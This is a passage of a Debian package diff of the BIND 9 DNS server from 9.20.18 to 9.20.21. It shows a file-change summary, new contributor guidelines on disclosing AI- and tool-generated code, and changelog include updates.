Version in base suite: 9.20.18-1~deb13u1 Base version: bind9_9.20.18-1~deb13u1 Target version: bind9_9.20.21-1~deb13u1 Base file: /srv/ftp-master.debian.org/ftp/pool/main/b/bind9/bind9_9.20.18-1~deb13u1.dsc Target file: /srv/ftp-master.debian.org/policy/pool/main/b/bind9/bind9_9.20.21-1~deb13u1.dsc CONTRIBUTING.md | 96 + ChangeLog | 3 NEWS | 3 bin/delv/delv.c | 2 bin/dig/dig.rst | 25 bin/dnssec/dnssec-ksr.c | 6 bin/named/main.c | 7 bin/named/server.c | 65 bin/named/statschannel.c | 4 bin/nsupdate/nsupdate.c | 6 bin/rndc/rndc.c | 4 bin/rndc/rndc.rst | 67 bin/tests/Makefile.am | 2 bin/tests/Makefile.in | 2 bin/tests/convert-trs-to-junit.py | 154 - bin/tests/convert_trs_to_junit.py | 152 + bin/tests/system/README.md | 11 bin/tests/system/addzone/tests_rndc_deadlock.py | 2 bin/tests/system/ans.py | 6 bin/tests/system/auth/ns1/example.com.db | 3 bin/tests/system/auth/tests.sh | 17 bin/tests/system/bailiwick/ans1/ans.py | 11 bin/tests/system/bailiwick/ans2/ans.py | 11 bin/tests/system/bailiwick/ans3/ans.py | 6 bin/tests/system/bailiwick/bailiwick_ans.py | 12 bin/tests/system/bailiwick/tests_bailiwick.py | 17 bin/tests/system/catz/ns2/named.conf.j2 | 3 bin/tests/system/catz/ns2/named7.conf.j2 | 3 bin/tests/system/catz/tests.sh | 40 bin/tests/system/chain/ans3/ans.py | 15 bin/tests/system/chain/ans4/ans.py | 56 bin/tests/system/chain/tests_sh_chain.py | 3 bin/tests/system/checkconf/good-key-view.conf | 27 bin/tests/system/checkds/tests_checkds.py | 12 bin/tests/system/checkzone/zones/bad-nsec3-length.db | 17 bin/tests/system/checkzone/zones/crashzone.db | 1 bin/tests/system/cipher-suites/tests_cipher_suites.py | 6 bin/tests/system/conftest.py | 110 - bin/tests/system/convert-junit-to-trs.py | 70 bin/tests/system/convert_junit_to_trs.py | 73 bin/tests/system/cookie/ans10/ans.py | 2 bin/tests/system/cookie/ans9/ans.py | 2 bin/tests/system/cookie/cookie_ans.py | 21 bin/tests/system/cookie/tests_sh_cookie.py | 3 bin/tests/system/custom-test-driver | 2 bin/tests/system/database/tests_database.py | 3 bin/tests/system/dialup/tests_dialup_zone_transfer.py | 2 bin/tests/system/digdelv/ans4/ans.py | 22 bin/tests/system/digdelv/ans4/startme | 1 bin/tests/system/digdelv/ans5/ans.pl | 176 -- bin/tests/system/digdelv/ans5/ans.py | 105 + bin/tests/system/digdelv/ans6/ans.pl | 84 - bin/tests/system/digdelv/ans6/ans.py | 40 bin/tests/system/digdelv/ans7/ans.pl | 68 bin/tests/system/digdelv/ans7/ans.py | 73 bin/tests/system/digdelv/ans8/ans.py | 202 -- bin/tests/system/digdelv/ns2/example.db.in | 3 bin/tests/system/digdelv/tests.sh | 148 - bin/tests/system/digdelv/tests_sh_digdelv.py | 1 bin/tests/system/digdelv/yamlget.py | 3 bin/tests/system/dispatch/ans3/ans.py | 2 bin/tests/system/dispatch/tests_connreset.py | 7 bin/tests/system/dns_import_checker.py | 177 ++ bin/tests/system/dnssec-malformed-dnskey/tests_malformed_dnskey.py | 29 bin/tests/system/dnssec-unsupported-ds/ns1/named.conf.j2 | 38 bin/tests/system/dnssec-unsupported-ds/ns1/sign.sh | 37 bin/tests/system/dnssec-unsupported-ds/ns1/zones/root.db.in | 16 bin/tests/system/dnssec-unsupported-ds/ns2/named.conf.j2 | 47 bin/tests/system/dnssec-unsupported-ds/ns2/sign.sh | 35 bin/tests/system/dnssec-unsupported-ds/ns2/zones/example.db.in | 16 bin/tests/system/dnssec-unsupported-ds/ns3/named.conf.j2 | 47 bin/tests/system/dnssec-unsupported-ds/ns3/sign.sh | 32 bin/tests/system/dnssec-unsupported-ds/ns3/zones/child.example.db.in | 18 bin/tests/system/dnssec-unsupported-ds/ns4/named.conf.j2 | 42 bin/tests/system/dnssec-unsupported-ds/setup.sh | 32 bin/tests/system/dnssec-unsupported-ds/tests_mixed_ds.py | 36 bin/tests/system/dnssec/ans10/ans.py | 4 bin/tests/system/dnssec/tests_sh_dnssec.py | 3 bin/tests/system/dnstap/ns5/named.conf.j2 | 44 bin/tests/system/dnstap/tests.sh | 541 ++---- bin/tests/system/dnstap/tests_dnstap.py | 8 bin/tests/system/dnstap/ydump.py | 2 bin/tests/system/doth/conftest.py | 1 bin/tests/system/doth/stress_http_quota.py | 19 bin/tests/system/doth/tests_gnutls.py | 7 bin/tests/system/dsdigest/tests_dsdigest.py | 1 bin/tests/system/ecdsa/tests_ecdsa.py | 3 bin/tests/system/expiredglue/ns1/named.conf.j2 | 39 bin/tests/system/expiredglue/ns1/root.db | 24 bin/tests/system/expiredglue/ns2/named.conf.j2 | 37 bin/tests/system/expiredglue/ns2/tld.db | 28 bin/tests/system/expiredglue/ns3/dnshoster.tld.db | 24 bin/tests/system/expiredglue/ns3/example.tld.db | 22 bin/tests/system/expiredglue/ns3/named.conf.j2 | 42 bin/tests/system/expiredglue/ns4/named.args | 1 bin/tests/system/expiredglue/ns4/named.conf.j2 | 37 bin/tests/system/expiredglue/ns4/root.hint | 14 bin/tests/system/expiredglue/tests_expiredglue.py | 55 bin/tests/system/fetchlimit/ans4/ans.py | 2 bin/tests/system/fetchlimit/tests_sh_fetchlimit.py | 3 bin/tests/system/filters/common.py | 4 bin/tests/system/filters/tests_filter_a_v4.py | 3 bin/tests/system/filters/tests_filter_a_v6.py | 3 bin/tests/system/filters/tests_filter_aaaa_v4.py | 4 bin/tests/system/filters/tests_filter_aaaa_v6.py | 3 bin/tests/system/filters/tests_filter_checkconf.py | 3 bin/tests/system/filters/tests_filter_dns64.py | 3 bin/tests/system/forward/ans11/ans.py | 2 bin/tests/system/forward/ans6/ans.py | 2 bin/tests/system/forward/tests_sh_forward.py | 3 bin/tests/system/glue/tests_glue.py | 3 bin/tests/system/hooks/tests_async_plugin.py | 4 bin/tests/system/isctest/__init__.py | 35 bin/tests/system/isctest/__main__.py | 1 bin/tests/system/isctest/asyncserver.py | 485 ++++-- bin/tests/system/isctest/check.py | 37 bin/tests/system/isctest/compat.py | 70 bin/tests/system/isctest/hypothesis/__init__.py | 21 bin/tests/system/isctest/hypothesis/strategies.py | 20 bin/tests/system/isctest/instance.py | 35 bin/tests/system/isctest/kasp.py | 154 + bin/tests/system/isctest/log/__init__.py | 25 bin/tests/system/isctest/log/basic.py | 9 bin/tests/system/isctest/log/watchlog.py | 22 bin/tests/system/isctest/mark.py | 9 bin/tests/system/isctest/name.py | 23 bin/tests/system/isctest/query.py | 57 bin/tests/system/isctest/run.py | 20 bin/tests/system/isctest/template.py | 10 bin/tests/system/isctest/text.py | 14 bin/tests/system/isctest/util.py | 1 bin/tests/system/isctest/vars/__init__.py | 26 bin/tests/system/isctest/vars/algorithms.py | 25 bin/tests/system/isctest/vars/all.py | 5 bin/tests/system/isctest/vars/autoconf.py | 3 bin/tests/system/isctest/vars/basic.py | 4 bin/tests/system/isctest/vars/dirs.py | 4 bin/tests/system/isctest/vars/features.py | 1 bin/tests/system/isctest/vars/openssl.py | 7 bin/tests/system/ixfr-nonminimal/ans2/ans.py | 200 ++ bin/tests/system/ixfr-nonminimal/ans4/ans.py | 199 ++ bin/tests/system/ixfr-nonminimal/ns1/named.conf.j2 | 41 bin/tests/system/ixfr-nonminimal/ns3/named.conf.j2 | 41 bin/tests/system/ixfr-nonminimal/prereq.sh | 16 bin/tests/system/ixfr-nonminimal/setup.sh | 14 bin/tests/system/ixfr-nonminimal/tests.sh | 86 + bin/tests/system/ixfr-nonminimal/tests_sh_ixfr_nonminimal.py | 27 bin/tests/system/ixfr/ans2/ans.py | 265 +++ bin/tests/system/ixfr/tests.sh | 96 - bin/tests/system/kasp/tests_kasp.py | 114 - bin/tests/system/keepalive/tests_keepalive.py | 2 bin/tests/system/keyfromlabel/tests_keyfromlabel.py | 5 bin/tests/system/ksr/ns1/named.conf.j2 | 14 bin/tests/system/ksr/ns1/setup.sh | 1 bin/tests/system/ksr/tests_ksr.py | 39 bin/tests/system/limits/tests_limits.py | 8 bin/tests/system/migrate2kasp/tests_migrate2kasp.py | 38 bin/tests/system/multisigner/tests_multisigner.py | 48 bin/tests/system/names/tests_names.py | 4 bin/tests/system/notify/ns2/named.conf.j2 | 16 bin/tests/system/notify/setup.sh | 1 bin/tests/system/notify/tests.sh | 13 bin/tests/system/notify/tests_sh_notify.py | 2 bin/tests/system/nsec/ns1/named.conf.j2 | 29 bin/tests/system/nsec/ns1/root.db | 24 bin/tests/system/nsec/ns2/excessive-nsec-rrsigs.db.in | 24 bin/tests/system/nsec/ns2/named.conf.j2 | 29 bin/tests/system/nsec/ns3/named.conf.j2 | 35 bin/tests/system/nsec/ns3/trusted.conf.j2 | 18 bin/tests/system/nsec/tests_excessive_rrsigs.py | 87 + bin/tests/system/nsec3-answer/tests_nsec3.py | 27 bin/tests/system/nsec3-delegation/ns1/named.conf.j2 | 35 bin/tests/system/nsec3-delegation/ns1/root.db | 25 bin/tests/system/nsec3-delegation/ns2/iter-too-many.db.j2.manual | 31 bin/tests/system/nsec3-delegation/ns2/named.conf.j2 | 40 bin/tests/system/nsec3-delegation/ns2/sub.iter-too-many.db | 24 bin/tests/system/nsec3-delegation/ns3/named.conf.j2 | 37 bin/tests/system/nsec3-delegation/ns3/trusted.conf.j2 | 18 bin/tests/system/nsec3-delegation/tests_excessive_nsec3_iterations.py | 61 bin/tests/system/nsec3/ans7/ans.py | 490 ++++++ bin/tests/system/nsec3/common.py | 16 bin/tests/system/nsec3/ns5/named.conf.j2 | 38 bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key | 5 bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private | 6 bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key | 5 bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private | 6 bin/tests/system/nsec3/ns6/evil.test.db | 32 bin/tests/system/nsec3/ns6/named.conf.j2 | 32 bin/tests/system/nsec3/ns6/setup.sh | 21 bin/tests/system/nsec3/setup.sh | 5 bin/tests/system/nsec3/tests_nsec3_change.py | 24 bin/tests/system/nsec3/tests_nsec3_initial.py | 48 bin/tests/system/nsec3/tests_nsec3_length.py | 32 bin/tests/system/nsec3/tests_nsec3_reconfig.py | 53 bin/tests/system/nsec3/tests_nsec3_reload.py | 17 bin/tests/system/nsec3/tests_nsec3_restart.py | 22 bin/tests/system/nsec3/tests_nsec3_retransfer.py | 20 bin/tests/system/nsprocessinglimit/ns1/named.conf.j2 | 39 bin/tests/system/nsprocessinglimit/ns1/root.db | 24 bin/tests/system/nsprocessinglimit/ns2/named.conf.j2 | 37 bin/tests/system/nsprocessinglimit/ns2/tld.db | 25 bin/tests/system/nsprocessinglimit/ns3/example.tld.db | 68 bin/tests/system/nsprocessinglimit/ns3/named.conf.j2 | 37 bin/tests/system/nsprocessinglimit/ns4/named.args | 1 bin/tests/system/nsprocessinglimit/ns4/named.conf.j2 | 39 bin/tests/system/nsprocessinglimit/ns4/root.hint | 14 bin/tests/system/nsprocessinglimit/tests_nsprocessinglimit.py | 74 bin/tests/system/nsupdate/ans4/ans.py | 6 bin/tests/system/nsupdate/tests_sh_nsupdate.py | 3 bin/tests/system/nzd2nzf/tests_nzd2nzf.py | 1 bin/tests/system/optout/tests_optout.py | 12 bin/tests/system/pipelined/ans5/ans.py | 233 -- bin/tests/system/pytest.ini | 2 bin/tests/system/qmin/ans2/ans.py | 19 bin/tests/system/qmin/ans3/ans.py | 12 bin/tests/system/qmin/ans4/ans.py | 21 bin/tests/system/qmin/qmin_ans.py | 2 bin/tests/system/qmin/tests_sh_qmin.py | 3 bin/tests/system/query-source/tests_querysource_none.py | 1 bin/tests/system/randomizens/README | 21 bin/tests/system/randomizens/ns1/named.conf.j2 | 29 bin/tests/system/randomizens/ns1/root.db | 40 bin/tests/system/randomizens/ns2/1st.db | 25 bin/tests/system/randomizens/ns2/2nd.db | 23 bin/tests/system/randomizens/ns2/example.db | 25 bin/tests/system/randomizens/ns2/named.conf.j2 | 53 bin/tests/system/randomizens/ns2/xxx.db | 23 bin/tests/system/randomizens/ns3/1st.db | 25 bin/tests/system/randomizens/ns3/example.db | 25 bin/tests/system/randomizens/ns3/named.conf.j2 | 43 bin/tests/system/randomizens/ns4/example.db | 25 bin/tests/system/randomizens/ns4/named.conf.j2 | 38 bin/tests/system/randomizens/ns5/1st.db | 25 bin/tests/system/randomizens/ns5/2nd.db | 23 bin/tests/system/randomizens/ns5/3rd.db | 22 bin/tests/system/randomizens/ns5/example.db | 25 bin/tests/system/randomizens/ns5/named.conf.j2 | 53 bin/tests/system/randomizens/ns6/named.conf.j2 | 39 bin/tests/system/randomizens/tests_randomizens.py | 32 bin/tests/system/re_compile_checker.py | 16 bin/tests/system/requirements.txt | 13 bin/tests/system/resolver/ans10/ans.py | 196 -- bin/tests/system/resolver/ans2/ans.pl | 184 -- bin/tests/system/resolver/ans2/ans.py | 214 ++ bin/tests/system/resolver/ans3/ans.pl | 234 -- bin/tests/system/resolver/ans3/ans.py | 228 ++ bin/tests/system/resolver/ans8/ans.pl | 177 -- bin/tests/system/resolver/ans8/ans.py | 144 + bin/tests/system/resolver/resolver_ans.py | 145 + bin/tests/system/resolver/tests_resolver.py | 1 bin/tests/system/resolver/tests_sh_resolver.py | 1 bin/tests/system/rfc5011/tests_rfc5011.py | 1 bin/tests/system/rndc/tests_cve-2023-3341.py | 70 bin/tests/system/rndc/tests_cve_2023_3341.py | 69 bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_initial.py | 21 bin/tests/system/rollover-algo-csk/tests_rollover_algo_csk_reconfig.py | 47 bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_initial.py | 21 bin/tests/system/rollover-algo-ksk-zsk/tests_rollover_algo_ksk_zsk_reconfig.py | 63 bin/tests/system/rollover-csk-roll1/tests_rollover_csk_roll1.py | 74 bin/tests/system/rollover-csk-roll2/tests_rollover_csk_roll2.py | 70 bin/tests/system/rollover-dynamic2inline/tests_rollover_dynamic2inline.py | 15 bin/tests/system/rollover-enable-dnssec/tests_rollover_enable_dnssec.py | 39 bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_initial.py | 26 bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_reconfig.py | 29 bin/tests/system/rollover-ksk-3crowd/tests_rollover_three_is_a_crowd.py | 34 bin/tests/system/rollover-ksk-doubleksk/tests_rollover_ksk_doubleksk.py | 81 - bin/tests/system/rollover-lifetime/tests_rollover_lifetime_initial.py | 20 bin/tests/system/rollover-lifetime/tests_rollover_lifetime_reconfig.py | 20 bin/tests/system/rollover-multisigner/tests_rollover_multisigner.py | 49 bin/tests/system/rollover-straight2none/tests_rollover_straight2none_initial.py | 24 bin/tests/system/rollover-straight2none/tests_rollover_straight2none_reconfig.py | 24 bin/tests/system/rollover-zsk-prepub/tests_rollover_zsk_prepublication.py | 80 - bin/tests/system/rollover/common.py | 22 bin/tests/system/rollover/setup.py | 38 bin/tests/system/rollover/tests_rollover_manual.py | 57 bin/tests/system/rpz/ns2/tld2.db | 3 bin/tests/system/rpz/ns3/include-rpz.db.in | 14 bin/tests/system/rpz/ns3/include-rpz.inc-1.in | 14 bin/tests/system/rpz/ns3/include-rpz.inc-2.in | 16 bin/tests/system/rpz/ns3/named.conf.j2 | 7 bin/tests/system/rpz/ns3/named1.conf.j2 | 7 bin/tests/system/rpz/setup.sh | 3 bin/tests/system/rpz/tests.sh | 10 bin/tests/system/rpz/tests_sh_rpz.py | 2 bin/tests/system/rpz/tests_sh_rpz_dnsrps.py | 2 bin/tests/system/rpzextra/tests_rpzextra.py | 10 bin/tests/system/rpzrecurse/ans5/ans.py | 4 bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py | 3 bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py | 3 bin/tests/system/selftest/tests_zone_analyzer.py | 8 bin/tests/system/serve-stale/ans2/ans.pl | 37 bin/tests/system/serve-stale/ans8/ans.pl | 164 ++ bin/tests/system/serve-stale/ns6/stale.db | 13 bin/tests/system/serve-stale/ns7/named.conf.j2 | 62 bin/tests/system/serve-stale/ns7/named1.conf.j2 | 63 bin/tests/system/serve-stale/ns7/root.db | 20 bin/tests/system/serve-stale/ns7/target.stale.db | 18 bin/tests/system/serve-stale/tests.sh | 206 ++ bin/tests/system/shutdown/tests_shutdown.py | 7 bin/tests/system/sig0/ns1/named.conf.j2 | 41 bin/tests/system/sig0/setup.sh | 17 bin/tests/system/sig0/tests_sig0.py | 119 + bin/tests/system/sortlist/tests_sortlist.py | 2 bin/tests/system/start.pl | 2 bin/tests/system/statistics/ans4/ans.py | 151 - bin/tests/system/statistics/tests_sh_statistics.py | 3 bin/tests/system/statschannel/__init__.py | 15 bin/tests/system/statschannel/generic.py | 22 bin/tests/system/statschannel/tests_json.py | 20 bin/tests/system/statschannel/tests_xml.py | 25 bin/tests/system/stress/tests_stress_update.py | 2 bin/tests/system/stub/tests_stub.py | 2 bin/tests/system/tcp/ans6/ans.py | 27 bin/tests/system/tcp/tests_tcp.py | 9 bin/tests/system/timeouts/tests_tcp_timeouts.py | 22 bin/tests/system/tkey/ns1/example.db | 23 bin/tests/system/tkey/ns1/named.conf.j2 | 35 bin/tests/system/tkey/tests_cve_2026_3119.py | 62 bin/tests/system/tools/tests_tools_nsec3hash.py | 11 bin/tests/system/tsig/ans2/ans.py | 2 bin/tests/system/tsig/tests_badtime.py | 9 bin/tests/system/tsig/tests_sh_tsig.py | 3 bin/tests/system/tsig/tests_tsig_hypothesis.py | 15 bin/tests/system/tsiggss/tests_isc_spnego_flaws.py | 9 bin/tests/system/upforwd/tests_sh_upforwd.py | 3 bin/tests/system/verify/tests_verify.py | 3 bin/tests/system/vulture_ignore_list.py | 4 bin/tests/system/wildcard/tests_wildcard.py | 12 bin/tests/system/xfer/ans10/ans.py | 5 bin/tests/system/xfer/ans9/ans.py | 4 bin/tests/system/xfer/axfr-stats.good | 3 bin/tests/system/xfer/dig1.good | 186 -- bin/tests/system/xfer/dig2.good | 186 -- bin/tests/system/xfer/dig3.good | 6 bin/tests/system/xfer/knowngood.mapped | 11 bin/tests/system/xfer/ns1/dot-fallback.db | 19 bin/tests/system/xfer/ns1/dot-fallback.db.in | 19 bin/tests/system/xfer/ns1/ixfr-too-big.db | 18 bin/tests/system/xfer/ns1/ixfr-too-big.db.in | 18 bin/tests/system/xfer/ns1/named.conf.j2 | 30 bin/tests/system/xfer/ns2/mapped.db | 28 bin/tests/system/xfer/ns2/mapped.db.in | 28 bin/tests/system/xfer/ns2/sec.db | 19 bin/tests/system/xfer/ns2/sec.db.in | 19 bin/tests/system/xfer/ns3/named.conf.j2 | 2 bin/tests/system/xfer/ns4/named.conf.j2 | 9 bin/tests/system/xfer/ns4/root.db.in | 14 bin/tests/system/xfer/ns4/root.db.j2 | 20 bin/tests/system/xfer/ns8/large.db.j2 | 12 bin/tests/system/xfer/ns8/small.db.j2 | 15 bin/tests/system/xfer/response1.good | 174 ++ bin/tests/system/xfer/response2.good | 174 ++ bin/tests/system/xfer/response3.good | 7 bin/tests/system/xfer/setup.sh | 47 bin/tests/system/xfer/tests.sh | 785 ---------- bin/tests/system/xfer/tests_retransfer_with_force.py | 62 bin/tests/system/xfer/tests_retransfer_with_transferstuck.py | 38 bin/tests/system/xfer/tests_sh_xfer.py | 69 bin/tests/system/xfer/tests_xfer.py | 551 +++++++ bin/tests/system/xferquota/setup.py | 12 bin/tests/system/xferquota/tests_xferquota.py | 5 bin/tests/system/zero/ans5/ans.py | 3 bin/tests/system/zero/tests_sh_zero.py | 3 bin/tools/mdig.c | 27 configure | 36 configure.ac | 4 contrib/gitchangelog/gitchangelog.py | 13 debian/changelog | 14 doc/arm/_ext/iscconf.py | 8 doc/arm/_ext/mergegrammar.py | 3 doc/arm/_ext/namedconf.py | 1 doc/arm/changelog.rst | 3 doc/arm/conf.py | 1 doc/arm/notes.rst | 3 doc/arm/reference.rst | 12 doc/changelog/changelog-9.20.19.rst | 77 doc/changelog/changelog-9.20.20.rst | 158 ++ doc/changelog/changelog-9.20.21.rst | 77 doc/man/arpaname.1in | 10 doc/man/conf.py | 3 doc/man/ddns-confgen.8in | 38 doc/man/delv.1in | 56 doc/man/dig.1in | 151 + doc/man/dnssec-cds.1in | 52 doc/man/dnssec-dsfromkey.1in | 40 doc/man/dnssec-importkey.1in | 18 doc/man/dnssec-keyfromlabel.1in | 32 doc/man/dnssec-keygen.1in | 48 doc/man/dnssec-ksr.1in | 16 doc/man/dnssec-revoke.1in | 14 doc/man/dnssec-settime.1in | 30 doc/man/dnssec-signzone.1in | 58 doc/man/dnssec-verify.1in | 16 doc/man/dnstap-read.1in | 14 doc/man/filter-a.8in | 14 doc/man/filter-aaaa.8in | 18 doc/man/host.1in | 52 doc/man/mdig.1in | 30 doc/man/named-checkconf.1in | 34 doc/man/named-checkzone.1in | 36 doc/man/named-compilezone.1in | 44 doc/man/named-journalprint.1in | 20 doc/man/named-nzd2nzf.1in | 12 doc/man/named-rrchecker.1in | 44 doc/man/named.8in | 38 doc/man/named.conf.5in | 14 doc/man/nsec3hash.1in | 12 doc/man/nslookup.1in | 18 doc/man/nsupdate.1in | 90 - doc/man/rndc-confgen.8in | 60 doc/man/rndc.8in | 189 +- doc/man/rndc.conf.5in | 36 doc/man/tsig-keygen.8in | 16 doc/misc/checkgrammar.py | 1 doc/misc/parsegrammar.py | 1 doc/notes/notes-9.20.19.rst | 43 doc/notes/notes-9.20.20.rst | 98 + doc/notes/notes-9.20.21.rst | 75 lib/dns/adb.c | 48 lib/dns/catz.c | 8 lib/dns/client.c | 16 lib/dns/db.c | 51 lib/dns/diff.c | 305 +-- lib/dns/dispatch.c | 2 lib/dns/dnstap.c | 9 lib/dns/dst_parse.c | 2 lib/dns/gssapictx.c | 18 lib/dns/include/dns/adb.h | 4 lib/dns/include/dns/callbacks.h | 10 lib/dns/include/dns/db.h | 91 + lib/dns/include/dns/diff.h | 39 lib/dns/include/dns/dnstap.h | 2 lib/dns/include/dns/message.h | 2 lib/dns/include/dns/nsec3.h | 6 lib/dns/include/dns/rdataset.h | 13 lib/dns/include/dns/sdlz.h | 4 lib/dns/include/dns/types.h | 13 lib/dns/include/dns/validator.h | 1 lib/dns/keystore.c | 2 lib/dns/master.c | 7 lib/dns/qpcache.c | 20 lib/dns/qpzone.c | 378 ++++ lib/dns/rbt-zonedb.c | 52 lib/dns/rbtdb.c | 20 lib/dns/rdata/generic/brid_68.c | 4 lib/dns/rdata/generic/cert_37.c | 2 lib/dns/rdata/generic/doa_259.c | 2 lib/dns/rdata/generic/dsync_66.c | 2 lib/dns/rdata/generic/hhit_67.c | 4 lib/dns/rdata/generic/ipseckey_45.c | 2 lib/dns/rdata/generic/key_25.c | 2 lib/dns/rdata/generic/keydata_65533.c | 2 lib/dns/rdata/generic/nsec3_50.c | 35 lib/dns/rdata/generic/openpgpkey_61.c | 2 lib/dns/rdata/generic/rrsig_46.c | 2 lib/dns/rdata/generic/sig_24.c | 2 lib/dns/rdata/generic/sink_40.c | 2 lib/dns/rdata/generic/tlsa_52.c | 2 lib/dns/rdata/in_1/dhcid_49.c | 3 lib/dns/rdata/in_1/eid_31.c | 2 lib/dns/rdata/in_1/nimloc_32.c | 2 lib/dns/rdataset.c | 40 lib/dns/request.c | 1 lib/dns/resolver.c | 124 + lib/dns/skr.c | 4 lib/dns/time.c | 4 lib/dns/tkey.c | 7 lib/dns/validator.c | 121 + lib/dns/xfrin.c | 48 lib/dns/zone.c | 31 lib/isc/base64.c | 6 lib/isc/file.c | 2 lib/isc/hex.c | 6 lib/isc/include/isc/base64.h | 7 lib/isc/include/isc/hex.h | 7 lib/isc/include/isc/iterated_hash.h | 12 lib/isc/include/isc/net.h | 4 lib/isc/include/isc/netmgr.h | 7 lib/isc/include/isc/os.h | 7 lib/isc/include/isc/overflow.h | 2 lib/isc/include/isc/queue.h | 4 lib/isc/include/isc/quota.h | 2 lib/isc/include/isc/refcount.h | 2 lib/isc/include/isc/types.h | 6 lib/isc/net.c | 18 lib/isc/netmgr/netmgr-int.h | 14 lib/isc/netmgr/netmgr.c | 33 lib/isc/netmgr/socket.c | 72 lib/isc/netmgr/tcp.c | 14 lib/isc/os.c | 27 lib/isccfg/check.c | 122 - lib/ns/client.c | 24 lib/ns/include/ns/client.h | 16 lib/ns/query.c | 9 srcid | 2 tests/bench/iterated_hash.c | 1 tests/dns/master_test.c | 9 tests/dns/qpzone_test.c | 307 +++ tests/dns/rdata_test.c | 71 tests/dns/tsig_test.c | 16 tests/include/tests/isc.h | 16 tests/isc/file_test.c | 4 tests/isc/mutex_test.c | 6 tests/isc/rwlock_test.c | 4 tests/isc/spinlock_test.c | 2 505 files changed, 12949 insertions(+), 6845 deletions(-) dpkg-source: warning: cannot verify inline signature for /srv/release.debian.org/tmp/tmpn26der2p/bind9_9.20.18-1~deb13u1.dsc: no acceptable signature found dpkg-source: warning: cannot verify inline signature for /srv/release.debian.org/tmp/tmpn26der2p/bind9_9.20.21-1~deb13u1.dsc: no acceptable signature found diff -Nru bind9-9.20.18/CONTRIBUTING.md bind9-9.20.21/CONTRIBUTING.md --- bind9-9.20.18/CONTRIBUTING.md 2026-01-09 13:39:27.939968464 +0000 +++ bind9-9.20.21/CONTRIBUTING.md 2026-03-13 22:01:10.464884922 +0000 @@ -18,6 +18,7 @@ 1. [Access to source code](#access) 1. [Reporting bugs](#bugs) 1. [Contributing code](#contrib) +1. [Generated code](#generated-code) ### Introduction @@ -188,6 +189,101 @@ Please see [the "Testing" section of doc/dev/dev.md](doc/dev/dev.md#testing) for more information. +### Guidelines for Tool-Generated Content + +#### Purpose + +BIND 9 contributors have long used tooling to assist in development. +These tools can increase the volume and velocity of contributions. At +the same time, reviewer and maintainer bandwidth is a scarce resource, +and the stability of DNS software is critical infrastructure. +Understanding which portions of a contribution come from humans versus +tools is helpful to maintain those resources, assess risk, and keep +BIND 9 development healthy. + +The goal here is to clarify community expectations around tools, +particularly LLMs (Large Language Models) and generative AI. This +lets everyone become more productive while maintaining high degrees of +trust between submitters and reviewers. + +#### Out of Scope + +These guidelines do not apply to tools that make trivial tweaks to +preexisting content or verify adherence to style guides. Nor do they +pertain to AI tooling that helps with menial tasks. Some examples: + + - Spelling and grammar fix-ups, like rephrasing documentation to the + imperative voice. + - Typing aids like IDE identifier completion, common boilerplate, or + trivial pattern completion. + - Purely mechanical transformations like variable renaming across a + scope. + - Reformatting using the standard BIND 9 clang-format configuration + or black (for Python system tests). + +Even if your tool use is out of scope, you should still always +consider if it would assist the review of your contribution if the +reviewer knows about the tool that you used. + +#### In Scope + +These guidelines apply when a meaningful amount of content in a BIND 9 +contribution (code, documentation, or tests) was not written by a +person contributing the patch or merge request, but was instead +created by a tool. + +Detection of a problem and testing the fix for it is also part of the +development process; if a tool was used to find a problem addressed by +a change (e.g., a fuzzer or static analyzer), that should be noted in +the commit message or MR description. This not only gives credit where +it is due, it also helps fellow developers find out about these tools. + +Some examples: + + - Complex semantic patches generated by Coccinelle scripts. + - A chatbot or AI assistant generated a new function in your Merge + Request to handle a specific DNS RR type. + - A .c file or system test in the MR was originally generated by a + coding assistant but cleaned up by hand. + - The commit message or MR description was generated by handing the + diff to a generative AI tool. + - Documentation or comments were translated from another language + using an automated tool. + +If in doubt, choose transparency and assume these guidelines apply to +your contribution. + +#### Guidelines + +You are responsible for the code you submit, regardless of how it was generated. +When opening a Merge Request, be transparent about the origin of content in the +MR description and commit messages. You can be more transparent by adding +information like this: + + - What tools were used? + - The input to the tools you used, like the Coccinelle source script + or specific configuration. + - If code was largely generated from a single or short set of + prompts, include those prompts. For longer sessions, include a + summary of the prompts and the nature of the resulting assistance. + - Which portions of the content were affected by that tool? + - How is the submission tested? (e.g., "I used tool X to generate a + system test case that triggers the bug.") + +As with all contributions, BIND 9 maintainers have discretion to +choose how they handle the contribution. For example, they might: + + - Treat it just like any other contribution. + - Reject it outright if the provenance is unclear or the code quality + is low. + - Treat the contribution specially, such as reviewing with extra + scrutiny regarding memory safety or RFC compliance. + - Suggest a better prompt or approach instead of suggesting specific + code changes. + - Ask the submitter to explain in more detail about the contribution + to ensure the submitter fully understands the DNS logic or internal + BIND 9 architecture implemented by the tool. + #### Thanks Thank you for your interest in contributing to the ongoing development diff -Nru bind9-9.20.18/ChangeLog bind9-9.20.21/ChangeLog --- bind9-9.20.18/ChangeLog 2026-01-09 13:39:28.234976206 +0000 +++ bind9-9.20.21/ChangeLog 2026-03-13 22:01:10.783874726 +0000 @@ -18,6 +18,9 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.21.rst +.. include:: ../changelog/changelog-9.20.20.rst +.. include:: ../changelog/changelog-9.20.19.rst .. include:: ../changelog/changelog-9.20.18.rst .. include:: ../changelog/changelog-9.20.17.rst .. include:: ../changelog/changelog-9.20.16.rst diff -Nru bind9-9.20.18/NEWS bind9-9.20.21/NEWS --- bind9-9.20.18/NEWS 2026-01-09 13:39:28.234976206 +0000 +++ bind9-9.20.21/NEWS 2026-03-13 22:01:10.783874726 +0000 @@ -18,6 +18,9 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.21.rst +.. include:: ../changelog/changelog-9.20.20.rst +.. include:: ../changelog/changelog-9.20.19.rst .. include:: ../changelog/changelog-9.20.18.rst .. include:: ../changelog/changelog-9.20.17.rst .. include:: ../changelog/changelog-9.20.16.rst diff -Nru bind9-9.20.18/bin/delv/delv.c 